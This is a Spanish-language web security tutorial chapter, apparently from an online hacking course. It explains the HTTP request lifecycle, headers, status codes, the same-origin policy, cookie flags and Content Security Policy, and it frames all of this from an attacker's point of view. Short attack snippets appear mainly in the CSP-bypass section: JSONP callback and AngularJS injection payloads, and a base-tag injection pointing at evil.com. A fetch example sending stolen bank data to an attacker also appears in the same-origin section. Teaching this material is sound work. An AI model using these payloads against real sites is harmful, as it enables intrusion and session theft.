> For the complete documentation index, see [llms.txt](https://0xnotkyo.gitbook.io/faq.hollowsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xnotkyo.gitbook.io/faq.hollowsec/hacking/fundamentos-de-seguridad-web.md).

# Fundamentos de Seguridad Web

<figure><img src="/files/uIlnay1phQCwSaqBshWo" alt="" width="563"><figcaption></figcaption></figure>

Las aplicaciones web son el objetivo más común para los hackers hoy en día. ¿Por qué? Porque **TODO** está en la web — banco, sanidad, gobierno, compras, redes sociales. Más del 80% de todos los ciberataques tienen como objetivo aplicaciones web. Si puedes hackear la web, puedes hackear el mundo.

Este capítulo te enseñará cómo funcionan las aplicaciones web a un nivel fundamental, para luego mostrarte exactamente dónde y cómo fallan. Al final, comprenderás la arquitectura que impulsa la internet moderna y la verás **a través de los ojos de un hacker** — cada funcionalidad como una vulnerabilidad potencial, cada entrada como un vector de ataque.

{% hint style="info" icon="briefcase" %}

#### Realidad Profesional

<mark style="color:$info;">Más del 70% de los empleos de pentesting se centran en aplicaciones web. Empresas como Google, Facebook, Microsoft y muchas otras pagan recompensas por bugs que van desde 500 hasta más de 100.000 dólares por vulnerabilidades web.</mark>&#x20;
{% endhint %}

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>🎯 ¿Por qué Hacking Web?</h4></td><td><ul><li><mark style="color:$info;">Toda empresa tiene presencia web</mark></li><li><mark style="color:$info;">Recompensas por bugs muy lucrativas</mark></li><li><mark style="color:$info;">No se necesita acceso físico</mark></li><li><mark style="color:$info;">Ataque desde cualquier parte del mundo</mark></li><li><mark style="color:$info;">Superficie de ataque enorme</mark></li></ul></td></tr><tr><td align="center"><h4>📊 Estadísticas de Vulnerabilidades Web</h4></td><td><ul><li><mark style="color:$info;"><strong>Inyección:</strong> #3 del OWASP Top 10</mark></li><li><mark style="color:$info;"><strong>Control de Acceso Roto:</strong> #1</mark></li><li><mark style="color:$info;"><strong>XSS:</strong> Sigue siendo increíblemente común</mark></li><li><mark style="color:$info;"><strong>Web media:</strong> más de 15 vulnerabilidades</mark></li><li><mark style="color:$info;"><strong>Pago medio por bug bounty:</strong> más de 3.000$</mark></li></ul></td></tr></tbody></table>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Cómo funciona realmente la Web

Antes de poder hackear sitios web, necesitas entender qué ocurre cuando escribes una URL y pulsas Enter. La mayoría de la gente no tiene ni idea — pero como hacker, verás la web como una compleja danza de protocolos, donde cada paso es una oportunidad potencial para interceptar, modificar o explotar.

<details>

<summary><strong>🍕</strong> La Metáfora del Restaurante (click aquí)</summary>

<mark style="color:$info;">Imagina internet como una ciudad enorme llena de restaurantes (sitios web):</mark><br>

* Tu Navegador <mark style="color:$info;">= Tú, el cliente que entra en un restaurante</mark>

* DNS <mark style="color:$info;">= La guía telefónica (convierte "Pizzería" en una dirección real)</mark>

* Dirección IP <mark style="color:$info;">= La dirección física del restaurante (192.168.1.1)</mark>

* Puerto <mark style="color:$info;">= Qué puerta usar (puerta principal = 80, entrada VIP = 443)</mark>

* Petición HTTP <mark style="color:$info;">= Tu pedido ("Quiero una pizza de pepperoni con extra de queso")</mark>

* Servidor Web <mark style="color:$info;">= La cocina que recibe y prepara tu pedido</mark>

* Base de Datos <mark style="color:$info;">= La despensa donde se almacena los ingredientes (datos)</mark>

* Respuesta HTTP <mark style="color:$info;">= Tu comida llegando a la mesa</mark>

* Cookies <mark style="color:$info;">= Tu tarjeta de fidelidad que recuerda quién eres</mark>\
  \
  Hackear es encontrar formas de conseguir comida gratis, colarse en la cocina, leer los pedidos de otras personas o convertirse en el gerente sin permiso.

</details>

***

### El Viaje Completo de una Petición Web

```shellscript
# Escribes: https://bank.com/account

# ==================== PASO 1: ANÁLISIS DE LA URL ====================
# El navegador descompone la URL:
Protocolo: https://          (usar cifrado)
Dominio:   bank.com          (con quién hablamos)
Ruta:      /account          (qué queremos)
Puerto:    443               (implícito en https)

# ==================== PASO 2: RESOLUCIÓN DNS ====================
# "¿Cuál es la dirección IP de bank.com?"

Tu Ordenador → Caché DNS Local       (¿ya la conocemos?)
             → Caché DNS del Router  (¿quizás el router la sabe?)
             → Servidor DNS del ISP  (suele conocer sitios comunes)
             → Servidores DNS Raíz   (cima de la cadena)
             → Servidores TLD .com   (gestiona todos los .com)
             → Servidor Autoritativo de bank.com (¡respuesta final!)

Respuesta: "bank.com está en 203.0.113.50"

# ==================== PASO 3: CONEXIÓN TCP ====================
# Tu ordenador se conecta a 203.0.113.50 en el puerto 443

Three-Way Handshake:
Tu PC  → [SYN]      →  Servidor    "Hola, ¿quieres hablar?"
Tu PC  ← [SYN-ACK]  ←  Servidor    "Claro, te escucho!"
Tu PC  → [ACK]      →  Servidor    "Perfecto, ¡estamos conectados!"

# ==================== PASO 4: TLS HANDSHAKE (HTTPS) ====================
# Estableciendo conexión cifrada

Client Hello:   "Soporto TLS 1.3, estos cifrados..."
Server Hello:   "Usemos TLS 1.3 con AES-256-GCM"
Certificado:    "Aquí está mi certificado SSL que prueba que soy bank.com"
Verificación:   El navegador comprueba el certificado con las CAs de confianza
Intercambio:    Ambas partes derivan una clave de cifrado compartida
Finalizado:     ¡Todo el tráfico futuro está cifrado!

# ==================== PASO 5: PETICIÓN HTTP ENVIADA ====================
# Ahora cifrada y enviada a través del túnel TLS

GET /account HTTP/1.1
Host: bank.com
Cookie: session=abc123def456
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Accept-Language: es-ES,es;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

# ==================== PASO 6: PROCESAMIENTO EN EL SERVIDOR ====================
# El servidor web recibe y procesa tu petición

1. El Servidor Web (Apache/Nginx) recibe la petición
2. Enruta a la aplicación (PHP/Python/Node.js/etc.)
3. La aplicación comprueba: ¿está este usuario autenticado?
   - Busca session=abc123def456 en la base de datos
   - Encuentra: ID de usuario 1234, nombre "John Smith"
4. La aplicación consulta la base de datos:
   - SELECT balance FROM accounts WHERE user_id = 1234
   - Resultado: 10.000 €
5. La aplicación genera la página HTML con tus datos
6. La respuesta se envía de vuelta al navegador

# ==================== PASO 7: RESPUESTA HTTP ====================

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 12345
Set-Cookie: tracking=xyz789; SameSite=Lax
Cache-Control: no-store
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'

<!DOCTYPE html>
<html>
<head><title>Tu Cuenta</title></head>
<body>
  <h1>Bienvenido, John Smith</h1>
  <p>Tu saldo: 10.000 €</p>
</body>
</html>

# ==================== PASO 8: RENDERIZADO DEL NAVEGADOR ====================

1. Parsear HTML en DOM (Document Object Model)
2. Parsear CSS en CSSOM (CSS Object Model)
3. Cargar recursos externos:
   - <link href="styles.css"> → Otra petición HTTP
   - <script src="app.js">   → Otra petición HTTP
   - <img src="logo.png">    → Otra petición HTTP
4. Ejecutar JavaScript
5. Pintar píxeles en pantalla
6. Gestionar interacciones del usuario
```

***

### Cada Paso es una Superficie de Ataque

Cada paso en estre proceso puede ser atacado. Entender dónde existen las vulnerabilidades es el **primer paso** para explotarlas:

<table data-view="cards"><thead><tr><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>🎯 Ataques DNS</h4></td><td><ul><li><mark style="color:$info;"><strong>Envenenamiento DNS:</strong> Corromper la caché DNS para redirigir bank.com al sitio falso del atacante. Tu navegador muestra "bank.com" pero estás en evil.com</mark></li><li><mark style="color:$info;"><strong>Secuestro DNS:</strong> Comprometer el propio servidor DNS para redirigir todas las consultas</mark></li></ul></td></tr><tr><td align="center"><h4>🔓 <strong>Man-in-the-Middle</strong></h4></td><td><ul><li><mark style="color:$info;"><strong>Sin HTTPS:</strong> Los atacantes en tu red pueden leer y modificar TODO el tráfico. Ver contraseñas, inyectar malware, robar sesiones</mark></li><li><mark style="color:$info;"><strong>Con HTTPS:</strong> Sigue siendo vulnerable si el usuario ignora las advertencias de certificado o si la CA está comprometida.</mark></li></ul></td></tr><tr><td align="center"><h4>🍪 <strong>Ataques a Cookies/Sesiones</strong></h4></td><td><ul><li><mark style="color:$info;"><strong>Secuestro de Sesión:</strong> Roba la cookie de sesión de alguien y te conviertes en él. No se necesita contraseña — tienes su sesión autenticada</mark></li><li><mark style="color:$info;"><strong>Fijación de Sesión:</strong> Forzar a la víctima a usar un ID de sesión que tú conoces</mark></li></ul></td></tr><tr><td align="center"><h4>💉 <strong>Ataques del Lado del Servidor</strong></h4></td><td><ul><li><mark style="color:$info;"><strong>Inyección:</strong> SQL, Comandos, LDAP — engañar al servidor para que ejecute código controlado por el atacante</mark></li><li><mark style="color:$info;"><strong>Fallos lógicos:</strong> Saltarse pagos, acceder a datos de otros usuarios, escalar privilegios</mark></li></ul></td></tr><tr><td align="center"><h4>📱 <strong>Ataques del Lado del Cliente</strong></h4></td><td><ul><li><mark style="color:$info;"><strong>XSS:</strong> Inyectar JS que se ejcuta en el navegador de la víctima. Robar cookies, capturar pulsaciones de teclado, realizar acciones</mark></li><li><mark style="color:$info;"><strong>CSRF:</strong> Engañar al navegador de la víctima para que realice peticiones que no tenía intención de hacer</mark></li></ul></td></tr><tr><td align="center"><h4>🔧 <strong>Ataques a la Infraestructura</strong></h4></td><td><ul><li><mark style="color:$info;"><strong>Vulnerabilidades del Servidor:</strong> Software desactualizado, configuraciones incorrectas, credenciales por defecto</mark></li><li><mark style="color:$info;"><strong>Cadena de Suministro:</strong> Comprometer librerías o CDNs de las que depende el sitio</mark></li></ul></td></tr></tbody></table>

{% hint style="info" icon="face-thinking" %}

#### Pensamiento sobre la Superficie de Ataque

Cada funcionalidad es una vulnerabilidad potencial. Cada entrada es un vector de ataque. Cada frontera de confianza puede ser cruzada. Cuando analices una aplicación web, pregúntate:<br>

* <mark style="color:$info;">¿Qué datos acepta esto? ¿Puedo inyectar payloads maliciosos?</mark>
* <mark style="color:$info;">¿Qué suposiciones de confianza se están haciendo? ¿Puedo vulnerarlas?</mark>
* <mark style="color:$info;">¿Qué ocurre si hago algo inesperado?</mark>
* <mark style="color:$info;">¿Cómo funciona la autenticación/autorización? ¿Puedo saltármela?</mark>
* <mark style="color:$info;">¿Qué ocurre entre bastidores que no puedo ver?</mark>
  {% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Análisis Profundo de Protocolo HTTP

HTTP (HyperText Transfer Protocol) es el lenguaje que hablan los navegadores y los servidores. Como hacker web, necesitas entender cada byte del mismo — porque cada byte es un vector de ataque potencial. Esta es la base de todo hacking web.

{% hint style="info" icon="lightbulb" %}

#### HTTP es Solo Texto

A pesar de su importancia, HTTP es sorprendentemente simple — no es más que texto estructurado enviado a través de una conexión de red. Sin codificaciones complejas, sin formatos binarios (en HTTP/1.1). Literalmente puedes escribir peticiones HTTP a mano usando netcat o telnet. Esta simplicidad es tanto su fortaleza como su debilidad — es fácil de entender, fácil de depurar, y **fácil de manipular**.
{% endhint %}

***

### Estructura de una Petición HTTP

```shellscript
# Toda petición HTTP tiene 3 partes: Línea de Petición, Cabeceras, Cuerpo

# ==================== LA LÍNEA DE PETICIÓN ====================
POST /login HTTP/1.1
│    │      │
│    │      └── Versión del protocolo
│    └── Ruta/Recurso solicitado
└── Método HTTP (lo que estás haciendo)

# ==================== CABECERAS DE LA PETICIÓN ====================
Host: example.com                                # OBLIGATORIO - qué sitio
Content-Type: application/x-www-form-urlencoded # Formato del cuerpo
Content-Length: 27                               # Tamaño del cuerpo en bytes
Cookie: session=abc123; tracking=xyz             # Cookies de sesión
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://example.com/pagina-anterior
Origin: https://example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Requested-With: XMLHttpRequest                 # Indica petición AJAX
X-Forwarded-For: 192.168.1.1                     # IP original del cliente (proxied)

                                          # ← LÍNEA VACÍA separa cabeceras del cuerpo
# ==================== CUERPO DE LA PETICIÓN ====================
username=admin&password=secret                   # Datos del formulario

# El formato del cuerpo depende del Content-Type:
# application/x-www-form-urlencoded: clave=valor&clave2=valor2
# application/json: {"username": "admin", "password": "secret"}
# multipart/form-data: Para subida de archivos
```

***

### Métodos HTTP&#x20;

<table><thead><tr><th width="116">Método</th><th width="271">Propósito</th><th>Interés para el Hacker</th></tr></thead><tbody><tr><td><mark style="color:$info;"><strong>GET</strong></mark></td><td><mark style="color:$info;">Recuperar datos</mark></td><td><mark style="color:$info;">Parámetros en la URL — visibles en logs, historial, cabecera Referer. ¡Nunca usar para datos sensibles!</mark></td></tr><tr><td><mark style="color:$info;"><strong>POST</strong></mark></td><td><mark style="color:$info;">Enviar datos</mark></td><td><mark style="color:$info;">El cuerpo puede contener payloads de inyección. Método más común para login, formularios, llamadas API</mark></td></tr><tr><td><mark style="color:$info;"><strong>PUT</strong></mark></td><td><mark style="color:$info;">Actualizar/crear recurso</mark></td><td><mark style="color:$info;">¡A veces permite subir archivos arbitrarios! Comprueba si puedes hacer PUT de archivos en el directorio raíz web</mark></td></tr><tr><td><mark style="color:$info;"><strong>DELETE</strong></mark></td><td><mark style="color:$info;">Eliminar recurso</mark></td><td><mark style="color:$info;">Bypass de autorización = eliminar cualquie recurso. Prueba con recursos de otros usuarios</mark></td></tr><tr><td><mark style="color:$info;"><strong>PATCH</strong></mark></td><td><mark style="color:$info;">Actualización parcial</mark></td><td><mark style="color:$info;">A menudo tiene validación diferente a PUT. Prueba ataques de asignación masiva</mark></td></tr><tr><td><mark style="color:$info;"><strong>OPTIONS</strong></mark></td><td><mark style="color:$info;">Comprobar métodos permitidos</mark></td><td><mark style="color:$info;">Revela lo que acepta el servidor. Busca métodos peligrosos como PUT, DELETE, TRACE</mark></td></tr><tr><td><mark style="color:$info;"><strong>HEAD</strong></mark></td><td><mark style="color:$info;">GET sin cuerpo</mark></td><td><mark style="color:$info;">Saltarse comprobaciones de seguridad basadas en contenido mientras aún se ven las cabeceras</mark></td></tr><tr><td><mark style="color:$info;"><strong>TRACE</strong></mark></td><td><mark style="color:$info;">Depuración/eco de petición</mark></td><td><mark style="color:$info;">Puede robar cookies mediante XSS (Cross-Site Tracing). Normalmente desactivado</mark></td></tr><tr><td><mark style="color:$info;"><strong>CONNECT</strong></mark></td><td><mark style="color:$info;">Túnel (para proxies)</mark></td><td><mark style="color:$info;">Puede crear túneles a través de servidores proxy. Potencial SSRF</mark></td></tr></tbody></table>

***

### Estructura de una Respuesta HTTP

```shellscript
# ==================== LÍNEA DE ESTADO ====================
HTTP/1.1 200 OK
│        │   │
│        │   └── Texto de estado (legible por humanos)
│        └── Código de estado (legible por máquinas)
└── Versión del protocolo

# ==================== CABECERAS DE RESPUESTA ====================
Date: Mon, 15 Jan 2024 12:00:00 GMT
Server: Apache/2.4.41 (Ubuntu)          # ← ¡Revela la versión!
X-Powered-By: PHP/8.0.0                 # ← ¡Revela la tecnología!
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Set-Cookie: session=newvalue; HttpOnly; Secure; SameSite=Strict
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains

                                        # ← LÍNEA VACÍA
# ==================== CUERPO DE LA RESPUESTA ====================
<!DOCTYPE html>
<html>
  <head><title>Ejemplo</title></head>
  <body>Contenido de la respuesta aquí</body>
</html>
```

***

### Códigos de Estado HTTP - Lo que te revelan

```shellscript
# ==================== 1xx - INFORMACIONAL ====================
100 Continue             # Servidor recibió cabeceras, envía el cuerpo
101 Switching Protocols  # Actualización a WebSocket

# ==================== 2xx - ÉXITO ====================
200 OK                   # ¡Petición exitosa!
201 Created              # Recurso creado (éxito POST/PUT)
204 No Content           # Éxito pero sin nada que devolver
206 Partial Content      # Petición por rango (streaming de vídeo, descargas)

# ==================== 3xx - REDIRECCIÓN ====================
301 Moved Permanently    # Recurso movido permanentemente, actualiza marcadores
302 Found                # Redirección temporal (la más común)
304 Not Modified         # Usa la versión en caché
307 Temporary Redirect   # Como 302 pero conserva el método
308 Permanent Redirect   # Como 301 pero conserva el método

# ==================== 4xx - ERRORES DEL CLIENTE ====================
400 Bad Request          # Petición malformada (tu sintaxis es incorrecta)
401 Unauthorized         # Necesitas autenticarte (¿quién eres?)
403 Forbidden            # Autenticado pero sin permiso (no puedes hacer eso)
404 Not Found            # El recurso no existe
405 Method Not Allowed   # Método HTTP incorrecto para este endpoint
408 Request Timeout      # El servidor dejó de esperar
413 Payload Too Large    # Cuerpo de la petición demasiado grande
414 URI Too Long         # La URL es demasiado larga
429 Too Many Requests    # ¡Rate limit! Más despacio

# ==================== 5xx - ERRORES DEL SERVIDOR ====================
500 Internal Server Error   # El servidor falló (¡INTERESANTE! ¿Stack traces?)
501 Not Implemented         # El servidor no soporta este método
502 Bad Gateway             # Falló el servidor backend
503 Service Unavailable     # Servidor sobrecargado/en mantenimiento
504 Gateway Timeout         # El servidor backend tardó demasiado
```

{% hint style="info" icon="angles-right" %}

#### Enumeración por Códigos de Estado

Los diferentes códigos de respuesta revelan información valiosa:<br>

* <mark style="color:$info;">**403 vs 404:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">El 403 significa "lo veo pero no puedes acceder" — el recurso existe. El 404 significa "no existe". Esto revela nombres de usuario, archivos y endpoints válidos</mark>
* <mark style="color:$info;">**401 vs 403:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">El 401 significa "autentícate primero", el 403 significa "estás autenticado pero aun así no puedes". Ayuda a entender el modelo de autentiación</mark>
* <mark style="color:$info;">**Errores 500:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">A menudo incluyen stack traces, rutas de archivos, errores de base de datos — una mina de información</mark>
* <mark style="color:$info;">**Redirecciones 302:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">¿A dónde van? URLs internas, paneles de administración, endpoints de depuración</mark>
  {% endhint %}

***

### Cabeceras HTTP Críticas&#x20;

```shellscript
# ==================== CABECERAS DE SEGURIDAD (¡busca las que faltan!) ====================

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
# Controla qué recursos pueden cargarse. Sin ella = XSS más fácil
# 'unsafe-inline' = ¡el XSS puede seguir funcionando!
# 'unsafe-eval' = eval() permitido, explotación más sencilla

X-Frame-Options: DENY | SAMEORIGIN | ALLOW-FROM uri
# Previene clickjacking. Sin ella = el sitio puede ser enmarcado
# DENY       = no puede enmarcarse en ningún sitio
# SAMEORIGIN = solo el mismo origen puede enmarcar

X-XSS-Protection: 1; mode=block
# Filtro XSS integrado del navegador. Obsoleto pero aún presente
# 0            = desactivado (¡interesante!)
# 1            = activado
# 1; mode=block = bloquea la página completamente

X-Content-Type-Options: nosniff
# Previene el MIME sniffing. Sin ella = el navegador podría ejecutar CSS como JS

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Fuerza HTTPS. Sin ella = posible stripping de SSL con MITM

# ==================== CABECERAS DE AUTENTICACIÓN ====================

Cookie: session=abc123; user_id=1; role=admin
# Gestión de sesiones. Busca:
# - Valores predecibles
# - Datos sensibles en texto claro
# - Flags HttpOnly/Secure ausentes

Authorization: Basic dXNlcjpwYXNz              # base64(usuario:contraseña)
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...   # Token JWT
Authorization: Digest username="user"...        # Autenticación Digest

Set-Cookie: session=abc123;
     Path=/;
     Domain=.example.com;
     Expires=Thu, 01 Jan 2025 00:00:00 GMT;
     HttpOnly;           # No accesible mediante JavaScript
     Secure;             # Solo se envía por HTTPS
     SameSite=Strict;    # Solo se envía al mismo origen

# ==================== DIVULGACIÓN DE INFORMACIÓN ====================

Server: Apache/2.4.41 (Ubuntu)      # Versión exacta = busca CVEs
X-Powered-By: PHP/7.4.3             # Tecnología del backend
X-AspNet-Version: 4.0.30319         # Versión de .NET
X-Generator: WordPress 5.8          # CMS y versión

# ==================== CABECERAS CORS (Cross-Origin Resource Sharing) ====================

Access-Control-Allow-Origin: *                    # ¡PELIGROSO! Cualquier sitio puede leer
Access-Control-Allow-Origin: https://trusted.com  # Solo este origen
Access-Control-Allow-Credentials: true            # Incluir cookies
Access-Control-Allow-Methods: GET, POST, PUT      # Métodos permitidos
Access-Control-Allow-Headers: X-Custom-Header     # Cabeceras de petición permitidas

# Configuraciones incorrectas a buscar:
# - Origin: * con Credentials: true (no debería funcionar pero a veces sí)
# - Reflejar la cabecera Origin sin validación
# - Permitir origen null
```

***

### Trabajando con HTTP - Herramientas Prácticas

```shellscript
# ==================== HTTP DESDE LÍNEA DE COMANDOS ====================

# Usando curl
curl https://example.com                    # GET simple
curl -v https://example.com                 # Verbose (ver cabeceras)
curl -I https://example.com                 # Petición HEAD (solo cabeceras)
curl -X POST https://example.com/login      # Especificar método
curl -d "user=admin&pass=123" URL           # Datos POST
curl -H "Cookie: session=abc" URL           # Cabecera personalizada
curl -H "Content-Type: application/json" \
     -d '{"user":"admin"}' URL              # POST en JSON
curl -k https://self-signed.com             # Ignorar errores SSL
curl -L URL                                 # Seguir redirecciones
curl -b cookies.txt -c cookies.txt URL      # Usar/guardar cookies
curl -x http://127.0.0.1:8080 URL           # A través de proxy (Burp)

# Usando netcat (HTTP en crudo)
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

# Usando httpie (más legible)
http GET https://example.com
http POST https://example.com/login user=admin pass=123
http PUT https://example.com/api/user/1 name=hacker

# ==================== HERRAMIENTAS DE DESARROLLO DEL NAVEGADOR ====================

# Chrome/Firefox: Pulsa F12

Pestaña Network (Red):
- Ver todas las peticiones y respuestas
- Ver/editar cookies
- Copiar como comando cURL
- Repetir peticiones
- Limitar velocidad de red

Pestaña Console (Consola):
- Ejecutar JavaScript
- Acceder a document.cookie
- Manipular el DOM
- Probar payloads XSS

Pestaña Application (Aplicación):
- Ver cookies, localStorage, sessionStorage
- Examinar service workers
- Comprobar recursos en caché
```

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Modelo de Seguridad del Navegador

Los navegadores son tu plataforma de ataque Y la defensa de tu objetivo. Entender cómo los navegadores protegen a los usuarios te ayuda a saltarte estas protecciones. El navegador es el campo de batalla donde se desarrollan los ataques del lado del cliente.

<details>

<summary>🏰 El navegador como una Fortaleza (click aquí)</summary>

El navegador es como una fortaleza medieval que protege al usuario:<br>

* <mark style="color:$info;">**Same-Origin Policy:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Murallas entre diferentes reinos (sitios web)</mark><br>
* <mark style="color:$info;">**Content Security Policy:**</mark> <mark style="color:$info;">Guardias que comprueban lo que entrar</mark><br>
* <mark style="color:$info;">**Cookies:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Cartas selladas que solo ciertas personas pueden leer</mark><br>
* <mark style="color:$info;">**HTTPS:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Mensajeros cifrados que no pueden ser interceptados</mark><br>
* <mark style="color:$info;">**Sandbox:**</mark> <mark style="color:$info;">Prisión para código no confiable (JavaScript)</mark>

Tu trabajo como hacer es encontrar agujeros en estas murallas, sobornar a los guardias o engañar al rey para que te deje entrar.

</details>

***

### Same-Origin Policy (SOP) - La Base

```shellscript
# ==================== ¿QUÉ DEFINE UN "ORIGEN"? ====================

# Origen = Protocolo + Dominio + Puerto (¡los tres deben coincidir!)

https://example.com:443     ← Origen 1
https://example.com:443     ← MISMO ORIGEN (puerto 443 es el predeterminado en https)
http://example.com:80       ← DIFERENTE (protocolo: http vs https)
https://sub.example.com:443 ← DIFERENTE (dominio: sub.example.com)
https://example.com:8080    ← DIFERENTE (puerto: 8080 vs 443)
https://example.org:443     ← DIFERENTE (dominio: .org vs .com)

# ==================== QUÉ IMPIDE LA SOP ====================

# evil.com NO PUEDE:
- Leer respuestas de bank.com
- Acceder a cookies o localStorage de bank.com
- Leer el contenido del DOM de bank.com
- Acceder al contenido de frames/iframes de bank.com

# Ejemplo: evil.com intenta robar tus datos bancarios
fetch('https://bank.com/api/balance')
  .then(r => r.json())
  .then(data => sendToEvil(data));

// ¡BLOQUEADO por la SOP!

# ==================== QUÉ PERMITE LA SOP (¡SUPERFICIE DE ATAQUE!) ====================

# evil.com SÍ PUEDE:
- Enviar peticiones A bank.com (¡ataques CSRF!)
- Incrustar imágenes DE bank.com (<img src="bank.com/logo.png">)
- Incluir scripts DE bank.com (<script src="bank.com/jquery.js">)
- Enlazar A bank.com (<a href="bank.com">)
- Incrustar bank.com en un iframe (si no está bloqueado por X-Frame-Options)
- Enviar formularios A bank.com

# Por eso funciona el CSRF — puedes ENVIAR peticiones, simplemente no LEER las respuestas

# ==================== MECANISMOS DE BYPASS DE LA SOP ====================

# CORS (Cross-Origin Resource Sharing)
# El servidor permite explícitamente que ciertos orígenes lean las respuestas
Access-Control-Allow-Origin: https://trusted.com

# JSONP (técnica antigua, aún se usa a veces)
# Las etiquetas script bypasean la SOP, el servidor envuelve los datos en un callback
<script src="bank.com/api/data?callback=myFunction">
# Devuelve: myFunction({"balance": 10000})

# Relajación de document.domain
# Los subdominios pueden accederse entre sí estableciendo document.domain
# app.example.com y api.example.com establecen document.domain = "example.com"

# API postMessage
# Las ventanas pueden enviarse mensajes explícitamente entre sí
window.parent.postMessage("data", "https://target.com");
```

***

### Cookies - Gestión de Sesiones en Profundidad

```shellscript
# ==================== ESTRUCTURA DE UNA COOKIE ====================

Set-Cookie: session=abc123xyz;         # Nombre=Valor
    Domain=.example.com;               # Qué dominios reciben esta cookie
    Path=/app;                         # Qué rutas reciben esta cookie
    Expires=Thu, 01 Jan 2026 00:00:00 GMT;  # Cuándo expira
    Max-Age=31536000;                  # Alternativa a Expires (en segundos)
    HttpOnly;                          # JavaScript NO puede acceder
    Secure;                            # Solo se envía por HTTPS
    SameSite=Strict;                   # Protección contra CSRF

# ==================== FLAGS DE LAS COOKIES ====================

HttpOnly:
- JavaScript NO puede ver esta cookie con document.cookie
- Protege contra el robo de sesión mediante XSS
- CRÍTICO para cookies de sesión
- Ojo: si existe XSS pero la cookie tiene HttpOnly, necesitas otros métodos

Secure:
- La cookie solo se envía por conexiones HTTPS
- Previene el sniffing por HTTP
- ¿No configurado? La cookie se envía en texto claro por HTTP

SameSite:
- Strict : La cookie NUNCA se envía entre sitios (puede romper algo de UX)
- Lax    : Se envía en navegaciones de nivel superior (enlaces) pero no en formularios/AJAX
- None   : Siempre se envía (debe tener el flag Secure)

# ==================== EJEMPLOS DE VULNERABILIDADES ====================

# HttpOnly ausente
Set-Cookie: session=abc123
# XSS puede robarla: document.cookie → "session=abc123"

# Secure ausente
Set-Cookie: session=abc123; HttpOnly
# Un ataque man-in-the-middle puede sniffear la cookie por HTTP

# SameSite ausente (o None)
Set-Cookie: session=abc123; HttpOnly; Secure
# Ataques CSRF posibles — la cookie se envía en peticiones entre sitios

# Dominio demasiado amplio
Set-Cookie: session=abc123; Domain=.example.com
# CUALQUIER subdominio puede leer Y establecer esta cookie
# evil.example.com puede robar la sesión de app.example.com

# Valor predecible
Set-Cookie: session=user123_1705123456
# El atacante puede adivinar otras sesiones: user456_1705123456

# Datos sensibles en la cookie
Set-Cookie: user_role=admin; user_id=123
# El atacante podría simplemente cambiar: user_role=superadmin
```

***

### Content Security Policy (CSP)

```shellscript
# ==================== CONCEPTOS BÁSICOS DE CSP ====================

# CSP controla qué recursos puede cargar una página
# Se envía como cabecera HTTP o etiqueta meta

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://cdn.example.com;
                         style-src 'self' 'unsafe-inline';
                         img-src *;
                         frame-ancestors 'none';

# ==================== DIRECTIVAS CSP ====================

default-src     # Fallback para todos los tipos de recursos
script-src      # Fuentes de JavaScript
style-src       # Fuentes de CSS
img-src         # Fuentes de imágenes
font-src        # Fuentes tipográficas
connect-src     # Destinos de AJAX, WebSocket, fetch
frame-src       # Fuentes de iframes
frame-ancestors # Qué puede enmarcar esta página (reemplaza X-Frame-Options)
form-action     # Destinos de envío de formularios
base-uri        # URLs base permitidas
object-src      # Flash, applets Java (bloquear con 'none')
report-uri      # Dónde enviar informes de violaciones

# ==================== VALORES CSP ====================

'self'          # Solo el mismo origen
'none'          # Bloquear todo
'unsafe-inline' # Permitir scripts/estilos inline (¡debilita la protección!)
'unsafe-eval'   # Permitir eval() (¡debilita la protección!)
'nonce-abc123'  # Solo scripts con nonce coincidente
'sha256-...'    # Solo scripts que coincidan con el hash
https:          # Solo recursos HTTPS
*.example.com   # Todos los subdominios de example.com

# ==================== BYPASSING CSP ====================

# Si 'unsafe-inline' está presente:
- El XSS con scripts inline funciona con normalidad

# Si hay endpoint JSONP en dominio en lista blanca:
<script src="trusted.com/api?callback=alert(1)//"></script>

# Si AngularJS está en CDN en lista blanca:
{{constructor.constructor('alert(1)')()}}

# Si base-uri no está configurado:
<base href="https://evil.com/">
# ¡Ahora todas las URLs relativas cargan desde evil.com!

# Si script-src incluye 'unsafe-eval':
eval('alert(1)');
new Function('alert(1)')();

# Modo Report-Only de CSP (no bloquea, solo informa):
Content-Security-Policy-Report-Only: ...
# ¡Útil para pruebas, pero podría quedarse en producción!
```

***

### Otras Características de Seguridad del Navegador

